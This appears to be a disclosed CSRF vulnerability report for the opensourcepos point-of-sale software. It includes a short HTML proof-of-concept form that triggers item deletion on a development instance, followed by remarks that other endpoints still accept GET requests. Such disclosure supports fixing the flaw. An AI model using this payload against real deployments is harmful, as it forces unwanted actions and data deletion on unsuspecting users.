Cross-Site Request Forgery (CSRF) in opensourcepos/opensourcepos
Reported on
Oct 4th 2021
Description
You have not set any CSRF protection for receivings/delete_item/{item_id}
endpoint.
Proof of Concept
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://dev.opensourcepos.org/receivings/delete_item/1">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The fix should include this protection. The method is POST only now.
https://github.com/opensourcepos/opensourcepos/blob/e8f27f547b061b88ed78232e75e859bdf7ebcd6b/application/hooks/method_hook.php#L8
I tested this dev.opensourcepos.org
Is this instance still vulnerable ?
I test this endpoint and it is still in get :
/sales/complete
and vulnerable to CSRF
as I said, I test again after at now and still this endpoint vulnerable to CSRF
/receivings/complete
because accept GET method besides POST